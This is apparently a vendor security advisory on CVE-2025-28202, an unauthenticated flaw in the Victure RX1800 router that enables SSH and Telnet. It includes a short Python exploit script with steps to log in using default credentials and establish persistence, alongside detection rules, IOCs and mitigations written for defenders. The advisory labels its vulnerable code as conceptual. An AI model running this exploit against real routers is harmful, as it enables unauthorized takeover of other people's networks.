CVE-2025-28202

Executive Summary

CVE-2025-28202 exposes a critical access control flaw in the Victure RX1800 router (firmware version EN_V1.0.0_r12_110933). An unauthenticated attacker can enable SSH and Telnet services remotely, bypassing all authentication mechanisms. This allows full device compromise, network pivoting, and persistent backdoor access. The vulnerability is unpatched, and no official fix is available. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the public disclosure of the PoC increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability allows complete device takeover without authentication.

Deep Dive & Mechanics

The Victure RX1800 router exposes an administrative API endpoint that controls SSH and Telnet service states. Due to improper access control, this endpoint does not validate session tokens or authentication headers. An attacker can send a crafted HTTP request to enable these services, which are then accessible on standard ports (22 and 23). Once enabled, the attacker can use default or brute-forced credentials to gain shell access.

The root cause is a missing authentication check in the firmware's web management interface. The endpoint likely uses a simple boolean parameter (e.g., enable_ssh=true) without verifying the requester's identity.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# No authentication check
def enable_ssh(request):
    if request.GET.get('enable_ssh') == 'true':
        os.system('systemctl start sshd')
        return "SSH enabled"

Patched Code (Conceptual):

# Authentication required
def enable_ssh(request):
    if not is_authenticated(request):
        return "Unauthorized", 403
    if request.GET.get('enable_ssh') == 'true':
        os.system('systemctl start sshd')
        return "SSH enabled"

No official patch exists. Users must implement network-level controls.

Exploitation & Lab Setup

Red Team

Exploit Script (Python):

import requests

target = "http://192.168.1.1"
payload = "/cgi-bin/ssh_telnet?enable_ssh=true&enable_telnet=true"

response = requests.get(target + payload)
if response.status_code == 200:
    print("[+] SSH and Telnet enabled")
    print("[+] Connect via: ssh root@192.168.1.1")
else:
    print("[-] Exploit failed")

Usage:

1. Run the script against the target router.
2. Connect via SSH/Telnet using default credentials (e.g., root/admin).
3. Escalate privileges and establish persistence.

Blue Team

Detection Steps:

1. Monitor for HTTP requests to /cgi-bin/ssh_telnet with parameters enable_ssh or enable_telnet.
2. Alert on unexpected SSH/Telnet service starts on the router.
3. Check for unauthorized connections to ports 22 and 23 from external IPs.

Honeypot Setup:

• Deploy a low-interaction honeypot mimicking the Victure RX1800 web interface.
• Log all requests to /cgi-bin/ssh_telnet.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /cgi-bin/ssh_telnet?enable_ssh=true&enable_telnet=true
  • Unauthorized SSH/Telnet connections to the router from external IPs
• File System:
  • Presence of /tmp/ssh_enabled or /tmp/telnet_enabled marker files (if created by exploit)
• Process:
  • Running sshd or telnetd processes when not expected

Detection Engineering

YARA Rule

rule CVE_2025_28202_Exploit {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-28202"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $s1 = "/cgi-bin/ssh_telnet" ascii wide
        $s2 = "enable_ssh=true" ascii wide
        $s3 = "enable_telnet=true" ascii wide
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-28202 Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting the Victure RX1800 SSH/Telnet enable endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/cgi-bin/ssh_telnet'
        cs-uri-query|contains|all:
            - 'enable_ssh=true'
            - 'enable_telnet=true'
    condition: selection
falsepositives:
    - Legitimate admin actions (if any)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-28202 - Victure RX1800 SSH/Telnet Enable Attempt";
    flow:to_server;
    content:"/cgi-bin/ssh_telnet"; http_uri;
    content:"enable_ssh=true"; http_uri;
    content:"enable_telnet=true"; http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Block external access to the router's web interface (port 80/443) at the network perimeter.
2. Short-term: Disable remote management and change default credentials.
3. Long-term: Contact Victure for a firmware patch. If unavailable, replace the device.
4. Compensating Controls: Deploy a WAF rule to block requests containing /cgi-bin/ssh_telnet.

Valters IT
Securing Digital Frontiers